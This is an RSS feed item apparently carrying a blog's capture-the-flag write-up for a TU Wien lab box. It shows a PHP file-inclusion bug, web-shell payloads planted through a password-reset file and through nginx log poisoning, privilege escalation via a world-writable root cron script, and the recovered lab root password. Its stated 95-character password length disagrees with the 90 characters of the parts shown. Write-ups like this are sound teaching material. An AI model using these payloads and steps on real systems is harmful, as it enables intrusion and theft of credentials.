mysite/public-onion/categories/ctf/index.xml

379 lines
35 KiB
XML
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
<title>CTF on AlipourIm journeys</title>
<link>http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/ctf/</link>
<description>Recent content in CTF on AlipourIm journeys</description>
<generator>Hugo -- 0.146.0</generator>
<language>en</language>
<lastBuildDate>Fri, 05 Jun 2026 12:00:00 +0000</lastBuildDate>
<atom:link href="http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/ctf/index.xml" rel="self" type="application/rss+xml" />
<item>
<title>A TU Wien CTF where Sysops Klaus left the keys in the cron job</title>
<link>http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/</link>
<pubDate>Fri, 05 Jun 2026 12:00:00 +0000</pubDate>
<guid>http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/</guid>
<description>LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.</description>
<content:encoded><![CDATA[<blockquote>
<p><strong>Spoiler alert:</strong> this is a full writeup. If you still want to solve <code>g#.tuw.measurement.network</code> yourself, stop here and go poke the box. I&rsquo;ll wait. …No? Ok. Hello friends.</p></blockquote>
<p>This post documents how I solved a CTF box that came out of <a href="https://www.inet.tuwien.ac.at/">Tobias Fiebig</a>&rsquo;s <em>Real World Security</em> presentation at TU Wien — the one with <strong>Sysops Fahrer Klaus</strong>, the guy who &ldquo;just quickly fixes prod&rdquo; and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.</p>
<p>Each student group gets their own host (<code>g00</code>, <code>g01</code>, …). The goal is simple on paper:</p>
<ol>
<li>Collect every <code>passwd_part</code> file sitting in user home directories.</li>
<li>Stitch them together into the <strong>root password</strong> (the full answer lives in <code>/root/passwd</code>).</li>
</ol>
<p>Simple. Boring. Except Klaus was clearly in charge of this VM.</p>
<hr>
<h2 id="0-the-lay-of-the-land">0) The lay of the land</h2>
<p><strong>Target:</strong> <code>g00.tuw.measurement.network</code></p>
<p>From the outside you mostly see three faces of the same machine:</p>
<table>
<thead>
<tr>
<th>Host</th>
<th>What it is</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>g00.tuw.measurement.network</code></td>
<td>Main vhost — <code>documentation.md</code>, directory listing, a teasing <code>passwd_part</code> that returns <strong>403</strong></td>
</tr>
<tr>
<td><code>web.g00.tuw.measurement.network</code></td>
<td>PHP &ldquo;meme gallery&rdquo; with a very trusting <code>?page=</code> parameter</td>
</tr>
<tr>
<td><code>pwreset.g00.tuw.measurement.network</code></td>
<td>Internal password-reset app — <strong>not reachable directly</strong> from the internet</td>
</tr>
</tbody>
</table>
<p>Users on the box (from <code>/etc/passwd</code> via LFI): <code>user1</code><code>user4</code>, <code>monitoring</code>, <code>www-data</code>, <code>root</code>.</p>
<p>SSH from outside? Public key only. Password auth is a lie (for us, anyway).</p>
<hr>
<h2 id="1-recon--documentationmd-saves-the-day">1) Recon — documentation.md saves the day</h2>
<p>First stop: the main site.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s https://g00.tuw.measurement.network/documentation.md
</span></span></code></pre></div><p>That file is basically a treasure map. It mentions two services:</p>
<ul>
<li><strong>web</strong> → <code>web.g00.tuw.measurement.network</code></li>
<li><strong>pwreset</strong> → <code>pwreset.g00.tuw.measurement.network</code></li>
</ul>
<p>I also poked the obvious paths (<code>.git</code>, <code>phpinfo</code>, swap files, <code>robots.txt</code>, …). Nothing juicy on the main vhost except the directory index and the forbidden <code>passwd_part</code>.</p>
<p>Subdomains resolve. Good. Let&rsquo;s go web.</p>
<hr>
<h2 id="2-lfi--include_getpage-classic">2) LFI — <code>include($_GET['page'])</code> classic</h2>
<p>The web vhost is a frameset. Content loads in a frame via <code>?page=</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">&#39;https://web.g00.tuw.measurement.network/?page=/etc/passwd&#39;</span>
</span></span></code></pre></div><p>And there it is — root, users, the whole <code>/etc/passwd</code> parade inside the frame.</p>
<p>Source via PHP filter works too:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">&#39;https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php&#39;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> | sed -n <span style="color:#e6db74">&#39;s/.*frame name=&#34;in&#34;&gt;//p&#39;</span> | base64 -d
</span></span></code></pre></div><p><code>index.php</code> is roughly:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span>$page <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;page&#39;</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">&#39;home.php&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">include</span>($page);
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Klaus, my man. We love you.</p>
<p><strong>First instinct:</strong> read all the <code>passwd_part</code> files immediately.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># spoiler: doesn&#39;t work</span>
</span></span><span style="display:flex;"><span>curl -sk <span style="color:#e6db74">&#39;https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># → permission denied</span>
</span></span></code></pre></div><p>Same for <code>user2</code><code>user4</code>, <code>monitoring</code>, <code>root/passwd</code>. The LFI runs as <code>www-data</code>. Those files are not world-readable. Fair.</p>
<hr>
<h2 id="3-pwreset--localhost-only-but-lfi-doesnt-care-about-nginx">3) pwreset — localhost-only, but LFI doesn&rsquo;t care about nginx</h2>
<p>Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-nginx" data-lang="nginx"><span style="display:flex;"><span><span style="color:#66d9ef">allow</span> 127.0.0.1;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">deny</span> <span style="color:#e6db74">all</span>;
</span></span></code></pre></div><p>So you can&rsquo;t hit <code>https://pwreset.g00...</code> from your laptop. But PHP on the <strong>web</strong> vhost can still <strong>include</strong> the pwreset <code>index.php</code> file — that&rsquo;s a local file include, not an HTTP request.</p>
<p>pwreset source (paraphrased):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span>$user <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;user&#39;</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>$pass <span style="color:#f92672">=</span> $_GET[<span style="color:#e6db74">&#39;pass&#39;</span>] <span style="color:#f92672">??</span> <span style="color:#e6db74">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">file_put_contents</span>(<span style="color:#e6db74">&#39;/var/www/userchange&#39;</span>, <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">$user</span><span style="color:#e6db74">:</span><span style="color:#e6db74">$pass\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">echo</span> <span style="color:#e6db74">&#34;Password reset queued.&#34;</span>;
</span></span></code></pre></div><p>It writes <code>user:pass</code> lines to <code>/var/www/userchange</code>. Something on the system processes that file later (spoiler: <code>chpasswd</code>, not shell).</p>
<p><strong>Trigger it through LFI:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://web.g00.tuw.measurement.network/
</span></span><span style="display:flex;"><span> ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
</span></span><span style="display:flex;"><span> &amp;user=user1
</span></span><span style="display:flex;"><span> &amp;pass=MyTestPass1!
</span></span></code></pre></div><p>I confirmed writes by reading <code>/var/www/userchange</code> back through the LFI. The file updates. Something also <strong>clears</strong> it on a schedule — so a cron job is definitely eating it.</p>
<hr>
<h2 id="4-rce--php-in-userchange-included-like-a-boss">4) RCE — PHP in <code>userchange</code>, included like a boss</h2>
<p>At some point I wondered: what if the thing that processes <code>userchange</code> doesn&rsquo;t only run <code>chpasswd</code>? What if it <strong>includes</strong> the file as PHP?</p>
<p>So I wrote a tiny shell into the <code>user</code> field via pwreset:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?=</span><span style="color:#e6db74">`id`</span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>Then included <code>/var/www/userchange</code> through the LFI:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>?page=/var/www/userchange
</span></span></code></pre></div><p><strong>Output:</strong> <code>uid=33(www-data) gid=33(www-data) ...</code></p>
<p>Short tags (<code>&lt;?= ... ?&gt;</code>) for the win. A longer <code>&lt;?php system(...); ?&gt;</code> payload also works, but the backtick version is minimal and cute.</p>
<p>From here on, my mental model was:</p>
<ol>
<li><strong>pwreset</strong> → write arbitrary-ish content to <code>/var/www/userchange</code></li>
<li><strong>LFI include <code>userchange</code></strong> → execute PHP as <code>www-data</code></li>
</ol>
<p>That&rsquo;s RCE. Not root yet, but we&rsquo;ll get there. Klaus always leaves one more door open.</p>
<hr>
<h2 id="5-rabbit-holes-aka-everything-i-tried-before-it-worked">5) Rabbit holes (aka &ldquo;everything I tried before it worked&rdquo;)</h2>
<p>This box is a <em>presentation</em> CTF. It wants you to wander. I wandered. Hard.</p>
<h3 id="nginx-log-poisoning">nginx log poisoning</h3>
<p>The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. <strong>Plot twist:</strong> Tobias later confirmed it <em>is</em> the intended RCE path. I just griefed myself out of it. See <a href="#11-bonus-the-intended-log-poisoning-path">§11 Bonus</a> for the real technique and what I screwed up.</p>
<p>Short version of my failure: I poisoned via <strong>HTTPS</strong> (wrong log), sprayed <strong>broken PHP</strong> into the HTTP log, and never read the hint in <code>index.php</code> source until it was too late.</p>
<h3 id="data-phpinput-expect"><code>data://</code>, <code>php://input</code>, <code>expect://</code></h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>data://text/plain,&lt;?php system<span style="color:#f92672">(</span>$_GET<span style="color:#f92672">[</span>cmd<span style="color:#f92672">])</span>; ?&gt;
</span></span><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>php://input <span style="color:#75715e"># with POST body</span>
</span></span><span style="display:flex;"><span>?page<span style="color:#f92672">=</span>expect://id
</span></span></code></pre></div><p>Nope. <code>allow_url_include = Off</code>. Klaus isn&rsquo;t <em>that</em> careless.</p>
<h3 id="vim-swp-files">vim <code>.swp</code> files</h3>
<p><code>.memes.php.swp</code> is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried <code>img_src</code> shell escapes on <code>memes.php</code> / <code>convert_img.php</code>.</p>
<p>Empty memes page. No execution. Nice red herring — very on-theme for the talk.</p>
<h3 id="munin--apt_all-plugin">Munin / <code>apt_all</code> plugin</h3>
<p>The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:</p>
<ul>
<li><code>/etc/munin/plugins/apt_all</code> — referenced in cron, but the plugin file <strong>doesn&rsquo;t exist</strong></li>
<li>Brute-forced tons of plugin names and backup suffixes (<code>.bak</code>, <code>.swp</code>, <code>~</code>, …)</li>
<li>Waited for cron cycles hoping a custom plugin would curl localhost pwreset</li>
</ul>
<p><strong>Verdict:</strong> the <code>apt_all</code> munin path is a distraction (or a removed artifact). The real privesc was elsewhere.</p>
<h3 id="pwreset-log-archaeology">pwreset log archaeology</h3>
<p>Reading <code>/var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log</code> via LFI is gold for lore:</p>
<ul>
<li>Saw historical resets like <code>user3</code> → <code>foobar23</code></li>
<li>Tried <code>foobar23</code> over SSH for every user</li>
</ul>
<p><strong>From outside:</strong> still <code>Permission denied (publickey)</code>. Password auth isn&rsquo;t offered externally. TU Wien network / internal access might differ — I didn&rsquo;t have that.</p>
<h3 id="shell-script-injection-into-userchange">Shell script injection into <code>userchange</code></h3>
<p>I tried newline injection to turn <code>userchange</code> into a bash script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>user=
</span></span><span style="display:flex;"><span>#!/bin/sh
</span></span><span style="display:flex;"><span>cp /home/user1/passwd_part /var/www/.../p1
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>Cron cleared the file. No copies appeared. The processor uses <strong><code>chpasswd</code></strong>, not <code>/bin/sh</code>. Good lesson. Wrong path.</p>
<h3 id="brute-forcing-the-userchange-consumer">Brute-forcing the <code>userchange</code> consumer</h3>
<p>I spawned searches across <code>/etc/cron.d</code>, puppet manifests, <code>/usr/local/sbin</code>, systemd units, … — looking for whatever reads <code>userchange</code>.</p>
<p>Eventually <strong>didn&rsquo;t need it</strong>. Once RCE landed, grepping and <code>find</code> from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren&rsquo;t on the winning path.)</p>
<h3 id="direct-ssh-password-guessing">Direct SSH password guessing</h3>
<p>Tried setting root&rsquo;s password via pwreset (<code>root:RootPass123!</code>), waited for cron, attempted SSH.</p>
<p>From the internet: <strong>publickey only</strong>. The reset machinery may still work internally, but I couldn&rsquo;t log in with passwords from outside.</p>
<hr>
<h2 id="6-privesc--world-writable-cron-script-peak-klaus">6) Privesc — world-writable cron script (peak Klaus)</h2>
<p>With RCE as <code>www-data</code>, I looked for writable files:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>find / -writable -type f 2&gt;/dev/null | head
</span></span></code></pre></div><p>Jackpot:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
</span></span></code></pre></div><p>Original script (innocent):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/bash
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>grep 127.0.0.1 /etc/hosts &gt; /home/user1/hostname_config
</span></span></code></pre></div><p>It&rsquo;s run by <strong>cron as root</strong> (Puppet-managed). <code>www-data</code> can edit it because <code>user1</code> owns it and the group is <code>www-data</code> with world-writable perms. Chef&rsquo;s kiss.</p>
<p>I appended:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp /home/user1/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
</span></span><span style="display:flex;"><span>cp /home/user2/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
</span></span><span style="display:flex;"><span>cp /home/user3/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
</span></span><span style="display:flex;"><span>cp /home/user4/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
</span></span><span style="display:flex;"><span>cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
</span></span><span style="display:flex;"><span>cp /root/passwd /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
</span></span><span style="display:flex;"><span>chmod <span style="color:#ae81ff">644</span> /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
</span></span></code></pre></div><p>Then either waited for cron or executed the script manually via RCE:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?=</span><span style="color:#e6db74">`/usr/local/bin/cron_update_hostname_file.sh`</span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p><strong>Files appeared in the webroot.</strong> Root-readable secrets exfiltrated by root itself. Klaus would be proud.</p>
<hr>
<h2 id="7-ssh-as-www-data--because-keys-in-the-webroot-are-a-mood">7) SSH as <code>www-data</code> — because keys in the webroot are a mood</h2>
<p>The main vhost webroot also had <code>.ssh/id_rsa</code> for <code>www-data</code>. Of course it did.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># via RCE: cat the key, save locally, chmod 600</span>
</span></span><span style="display:flex;"><span>ssh -i g00_wwwdata_key -o StrictHostKeyChecking<span style="color:#f92672">=</span>no <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span> www-data@g00.tuw.measurement.network
</span></span></code></pre></div><p>Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.</p>
<hr>
<h2 id="8-the-password-parts">8) The password parts</h2>
<table>
<thead>
<tr>
<th>Source</th>
<th>File</th>
<th>Part</th>
</tr>
</thead>
<tbody>
<tr>
<td>user1</td>
<td><code>p1</code></td>
<td><code>DcC6Da0A27384fA</code></td>
</tr>
<tr>
<td>user2</td>
<td><code>p2</code></td>
<td><code>9Ce05B3cAd57824</code></td>
</tr>
<tr>
<td>user3</td>
<td><code>p3</code></td>
<td><code>3aD80fa1b7AE986</code></td>
</tr>
<tr>
<td>user4</td>
<td><code>p4</code></td>
<td><code>CDefabffab1FCCf</code></td>
</tr>
<tr>
<td>www-data</td>
<td><code>passwd_part</code></td>
<td><code>44D885d6DAb8Bb9</code></td>
</tr>
<tr>
<td>root</td>
<td><code>rootpass</code></td>
<td><code>ghadnuthduxeec7</code></td>
</tr>
</tbody>
</table>
<p><strong>Missing:</strong> <code>monitoring/passwd_part</code> — copying to <code>pm</code> failed (no file / permission denied even as root&rsquo;s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.</p>
<p><strong>Combined root password (95 characters):</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
</span></span></code></pre></div><p>Order: <code>user1 + user2 + user3 + user4 + www-data + root_suffix</code>.</p>
<p>I double-checked byte lengths with <code>wc -c</code> and <code>od</code> over SSH. No sneaky newlines.</p>
<p>Root SSH with that password from <strong>outside</strong> still didn&rsquo;t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.</p>
<hr>
<h2 id="9-attack-chain-one-screen">9) Attack chain (one screen)</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>documentation.md
</span></span><span style="display:flex;"><span> → web vhost LFI (include $_GET[&#39;page&#39;])
</span></span><span style="display:flex;"><span> → include pwreset index.php (localhost bypass)
</span></span><span style="display:flex;"><span> → write PHP to /var/www/userchange
</span></span><span style="display:flex;"><span> → LFI include userchange
</span></span><span style="display:flex;"><span> → RCE as www-data
</span></span><span style="display:flex;"><span> → append to world-writable cron_update_hostname_file.sh
</span></span><span style="display:flex;"><span> → cron runs as root → copies passwd parts to webroot
</span></span><span style="display:flex;"><span> → read parts / SSH as www-data
</span></span><span style="display:flex;"><span> → profit
</span></span></code></pre></div><p>Very &ldquo;real world&rdquo; in the worst way. Multiple small mistakes compounding into a full chain.</p>
<hr>
<h2 id="10-replay-script">10) Replay script</h2>
<p>I left a minimal Python replay in the challenge repo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python3 solve.py
</span></span></code></pre></div><p>Core logic:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">pwreset</span>(user, passwd<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>):
</span></span><span style="display:flex;"><span> <span style="color:#75715e"># LFI-include pwreset index.php with user/pass params</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">rce</span>(cmd):
</span></span><span style="display:flex;"><span> pwreset(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;&lt;?=`</span><span style="color:#e6db74">{</span>cmd<span style="color:#e6db74">}</span><span style="color:#e6db74">`?&gt;&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>)
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> lfi_include(<span style="color:#e6db74">&#34;/var/www/userchange&#34;</span>)
</span></span></code></pre></div><p>It prints <code>id</code>, the modified cron script, each part file, and the combined password.</p>
<hr>
<h2 id="11-bonus-the-intended-log-poisoning-path">11) Bonus: the intended log poisoning path</h2>
<p>After I solved the box the scenic route (pwreset → <code>userchange</code>), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: <strong>griefing the logs is part of the game</strong> — and students mostly grief <em>themselves</em>. Fair. 😂</p>
<p>So here&rsquo;s the path you&rsquo;re <em>supposed</em> to take for RCE, and how I accidentally took the scenic bypass.</p>
<h3 id="the-hint-is-in-indexphp-not-documentationmd">The hint is in <code>index.php</code>, not <code>documentation.md</code></h3>
<p><code>documentation.md</code> only lists the services (<code>web</code>, <code>pwreset</code>). It says nothing about logs. The actual breadcrumb is an HTML comment in <code>index.php</code> (readable via PHP filter LFI):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- remember for debugging:
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/$vhost.access.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/$vhost.error.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/ssl-$vhost.access.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> /var/log/nginx/ssl-$vhost.error.log
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--&gt;</span>
</span></span></code></pre></div><p>Four logs. Two pairs: <strong>HTTP</strong> and <strong>HTTPS (ssl-)</strong>. The comment doesn&rsquo;t say &ldquo;don&rsquo;t use SSL&rdquo; — but the intended trick is to use the <strong>non-ssl</strong> access log.</p>
<h3 id="intended-technique">Intended technique</h3>
<ol>
<li>
<p><strong>Poison over HTTP</strong> (port 80), not HTTPS — so nginx writes to the smaller vhost log:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>/var/log/nginx/web.g00.tuw.measurement.network.access.log
</span></span></code></pre></div></li>
<li>
<p>Put PHP in the <code>User-Agent</code> (or another logged field):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>&lt;?php passthru($_GET[&#39;cmd&#39;]); ?&gt;
</span></span></code></pre></div><p>Short tags like <code>&lt;?=`id`?&gt;</code> work too. Use <strong>quoted</strong> <code>'cmd'</code> — bare <code>$_GET[cmd]</code> is a PHP 8 footgun.</p>
</li>
<li>
<p><strong>Include that log</strong> through the same LFI bug:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://web.g00.tuw.measurement.network/
</span></span><span style="display:flex;"><span> ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
</span></span><span style="display:flex;"><span> &amp;cmd=id
</span></span></code></pre></div></li>
</ol>
<p>On a <strong>fresh</strong> box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get <code>www-data</code>. That&rsquo;s RCE. No pwreset required.</p>
<h3 id="how-i-griefed-myself">How I griefed myself</h3>
<table>
<thead>
<tr>
<th>What I did</th>
<th>Why it hurt</th>
</tr>
</thead>
<tbody>
<tr>
<td>Defaulted to <code>https://</code> everywhere</td>
<td>Poison landed in <code>ssl-web...access.log</code> — <strong>670 KB+</strong> and growing</td>
</tr>
<tr>
<td>Included the ssl log via LFI</td>
<td>Output truncates around ~2 KB; poison sits at the tail</td>
</tr>
<tr>
<td>Fired dozens of test payloads</td>
<td>Left broken <code>&lt;?php</code> in the HTTP log (<code>$_GET[cmd]</code> without quotes, <code>\x22</code>, etc.) — PHP dies on the <strong>first</strong> bad tag before reaching a clean line</td>
</tr>
<tr>
<td>Didn&rsquo;t read <code>index.php</code> source early</td>
<td>Missed the debug comment until I&rsquo;d already polluted both logs</td>
</tr>
</tbody>
</table>
<p>Tobias&rsquo;s take: that&rsquo;s a feature. The box teaches you that <strong>ops mistakes compound</strong> — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.</p>
<h3 id="if-youre-solving-it-now">If you&rsquo;re solving it now</h3>
<ul>
<li>Read <code>index.php</code> source first.</li>
<li>Poison on <strong>HTTP</strong>: <code>http://web.g00.tuw.measurement.network/</code> with a clean User-Agent payload.</li>
<li>Include the <strong>non-ssl</strong> access log path from the comment.</li>
<li>Don&rsquo;t spray malformed PHP into the log unless you enjoy debugging your own garbage.</li>
</ul>
<p>I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.</p>
<hr>
<h2 id="12-tldr">12) TL;DR</h2>
<ul>
<li><strong>Read</strong> <code>documentation.md</code> — it tells you where the services live.</li>
<li><strong>Read</strong> <code>index.php</code> source — the debug comment gives you the log paths.</li>
<li><strong>Intended RCE</strong> = HTTP log poisoning → LFI include the non-ssl access log.</li>
<li><strong>What I did</strong> = pwreset → <code>userchange</code> → cron (also works, not the intended first step).</li>
<li><strong>Privesc</strong> = <code>/usr/local/bin/cron_update_hostname_file.sh</code> is world-writable and runs as root.</li>
<li><strong>Griefing</strong> = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.</li>
<li><strong>Flag</strong> = concatenate all <code>passwd_part</code> slices + <code>/root/passwd</code> suffix.</li>
</ul>
<p>If you&rsquo;re doing this as part of the TU Wien lab: don&rsquo;t touch other groups&rsquo; hosts, don&rsquo;t break the infra, and maybe send Klaus a thank-you note for the cron job.</p>
<p>Happy hacking. 🔓</p>
<hr>
<p><em>Thanks to Tobias Fiebig for the delightfully cursed &ldquo;real world&rdquo; box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.</em></p>
<hr>
<div class="signature-block" style="margin-top:1rem">
